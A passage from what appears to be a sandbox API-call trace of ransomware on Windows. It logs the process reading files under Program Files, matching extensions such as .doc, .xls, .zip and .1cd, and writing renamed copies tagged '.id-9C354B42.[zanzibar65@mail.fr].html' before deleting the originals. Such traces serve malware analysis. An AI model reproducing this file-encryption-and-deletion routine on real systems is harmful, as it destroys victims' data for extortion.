returned 0x194 [0048.121] GetLastError () returned 0x0 [0048.121] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x4360, lpOverlapped=0x0) returned 1 [0048.132] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4370, lpOverlapped=0x0) returned 1 [0048.133] ReadFile (in: hFile=0x1f8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.133] WriteFile (in: hFile=0x194, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0048.133] SetEndOfFile (hFile=0x194) returned 1 [0048.133] CloseHandle (hObject=0x194) returned 1 [0048.134] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.134] SetEndOfFile (hFile=0x1f8) returned 1 [0048.134] CloseHandle (hObject=0x1f8) returned 1 [0048.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0048.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.135] lstrlenW (lpString=".doc") returned 4 [0048.135] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.135] lstrlenW (lpString=".docx") returned 5 [0048.135] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.135] lstrlenW (lpString=".pdf") returned 4 [0048.135] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.135] lstrlenW (lpString=".xls") returned 4 [0048.135] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.135] lstrlenW (lpString=".xlsx") returned 5 [0048.135] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.135] lstrlenW (lpString=".ppt") returned 4 [0048.135] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString=".zip") returned 4 [0048.136] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.136] lstrlenW (lpString=".rar") returned 4 [0048.136] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString=".bz2") returned 4 [0048.136] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString=".7z") returned 3 [0048.136] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString=".dbf") returned 4 [0048.136] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString=".1cd") returned 4 [0048.136] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString=".jpg") returned 4 [0048.136] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.136] lstrlenW (lpString=".doc") returned 4 [0048.136] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString=".docx") returned 5 [0048.136] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.136] lstrlenW (lpString=".pdf") returned 4 [0048.136] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.136] lstrlenW (lpString=".xls") returned 4 [0048.137] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString=".xlsx") returned 5 [0048.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.137] lstrlenW (lpString=".ppt") returned 4 [0048.137] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.137] lstrlenW (lpString=".zip") returned 4 [0048.137] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.137] lstrlenW (lpString=".rar") returned 4 [0048.137] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString=".bz2") returned 4 [0048.137] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString=".7z") returned 3 [0048.137] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.137] lstrlenW (lpString=".dbf") returned 4 [0048.137] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.137] lstrlenW (lpString=".1cd") returned 4 [0048.137] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0048.137] lstrlenW (lpString=".jpg") returned 4 [0048.137] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.137] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0048.137] lstrlenW (lpString="as90.xsl") returned 8 [0048.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0048.139] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=18738) returned 1 [0048.139] CloseHandle (hObject=0x194) returned 1 [0048.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 0x20 [0048.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0048.140] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.140] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0048.140] GetLastError () returned 0x0 [0048.140] ReadFile (in: hFile=0x194, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x4932, lpOverlapped=0x0) returned 1 [0048.142] WriteFile (in: hFile=0x210, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0048.144] ReadFile (in: hFile=0x194, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.144] WriteFile (in: hFile=0x210, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0048.144] SetEndOfFile (hFile=0x210) returned 1 [0048.144] CloseHandle (hObject=0x210) returned 1 [0048.144] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.144] SetEndOfFile (hFile=0x194) returned 1 [0048.145] CloseHandle (hObject=0x194) returned 1 [0048.145] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.145] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0048.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.145] lstrlenW (lpString=".doc") returned 4 [0048.145] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString=".docx") returned 5 [0048.146] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.146] lstrlenW (lpString=".pdf") returned 4 [0048.146] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString=".xls") returned 4 [0048.146] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString=".xlsx") returned 5 [0048.146] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.146] lstrlenW (lpString=".ppt") returned 4 [0048.146] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString=".zip") returned 4 [0048.146] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.146] lstrlenW (lpString=".rar") returned 4 [0048.146] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString=".bz2") returned 4 [0048.146] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString=".7z") returned 3 [0048.146] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString=".dbf") returned 4 [0048.146] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString=".1cd") returned 4 [0048.146] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString=".jpg") returned 4 [0048.146] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.146] lstrlenW (lpString=".doc") returned 4 [0048.146] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString=".docx") returned 5 [0048.147] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0048.147] lstrlenW (lpString=".pdf") returned 4 [0048.147] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString=".xls") returned 4 [0048.147] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString=".xlsx") returned 5 [0048.147] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0048.147] lstrlenW (lpString=".ppt") returned 4 [0048.147] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.147] lstrlenW (lpString=".zip") returned 4 [0048.147] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.147] lstrlenW (lpString=".rar") returned 4 [0048.147] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString=".bz2") returned 4 [0048.147] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString=".7z") returned 3 [0048.147] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.147] lstrlenW (lpString=".dbf") returned 4 [0048.147] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.147] lstrlenW (lpString=".1cd") returned 4 [0048.147] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0048.147] lstrlenW (lpString=".jpg") returned 4 [0048.147] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.147] lstrcmpiW (lpString1=".xsl", lpString2=".html") returned 1 [0048.148] lstrlenW (lpString="Informix.xsl") returned 12 [0048.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.716] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=30948) returned 1 [0048.716] CloseHandle (hObject=0x218) returned 1 [0048.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 0x20 [0048.716] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.716] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.717] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.717] GetLastError () returned 0x0 [0048.717] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x78e4, lpOverlapped=0x0) returned 1 [0048.719] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0x78f0, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0x78f0, lpOverlapped=0x0) returned 1 [0048.720] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.720] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.720] SetEndOfFile (hFile=0x1ec) returned 1 [0048.720] CloseHandle (hObject=0x1ec) returned 1 [0048.720] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.721] SetEndOfFile (hFile=0x218) returned 1 [0048.722] CloseHandle (hObject=0x218) returned 1 [0048.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\informix.xsl")) returned 1 [0048.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.722] lstrlenW (lpString=".doc") returned 4 [0048.722] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.722] lstrlenW (lpString=".docx") returned 5 [0048.722] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0048.722] lstrlenW (lpString=".pdf") returned 4 [0048.722] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.722] lstrlenW (lpString=".xls") returned 4 [0048.722] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.722] lstrlenW (lpString=".xlsx") returned 5 [0048.722] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0048.722] lstrlenW (lpString=".ppt") returned 4 [0048.722] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString=".zip") returned 4 [0048.723] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.723] lstrlenW (lpString=".rar") returned 4 [0048.723] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString=".bz2") returned 4 [0048.723] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString=".7z") returned 3 [0048.723] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString=".dbf") returned 4 [0048.723] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString=".1cd") returned 4 [0048.723] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString=".jpg") returned 4 [0048.723] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.723] lstrlenW (lpString=".doc") returned 4 [0048.723] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString=".docx") returned 5 [0048.723] lstrcmpiW (lpString1=".docx", lpString2="x.xsl") returned -1 [0048.723] lstrlenW (lpString=".pdf") returned 4 [0048.723] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString=".xls") returned 4 [0048.723] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.723] lstrlenW (lpString=".xlsx") returned 5 [0048.723] lstrcmpiW (lpString1=".xlsx", lpString2="x.xsl") returned -1 [0048.724] lstrlenW (lpString=".ppt") returned 4 [0048.724] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.724] lstrlenW (lpString=".zip") returned 4 [0048.724] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.724] lstrlenW (lpString=".rar") returned 4 [0048.724] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.724] lstrlenW (lpString=".bz2") returned 4 [0048.724] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.724] lstrlenW (lpString=".7z") returned 3 [0048.724] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.724] lstrlenW (lpString=".dbf") returned 4 [0048.724] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.724] lstrlenW (lpString=".1cd") returned 4 [0048.724] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Informix.xsl") returned 80 [0048.724] lstrlenW (lpString=".jpg") returned 4 [0048.724] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.724] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0048.724] lstrlenW (lpString="AG00057_.GIF") returned 12 [0048.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.725] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=11891) returned 1 [0048.725] CloseHandle (hObject=0x218) returned 1 [0048.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0048.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.725] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.725] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.725] GetLastError () returned 0x0 [0048.725] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x2e73, lpOverlapped=0x0) returned 1 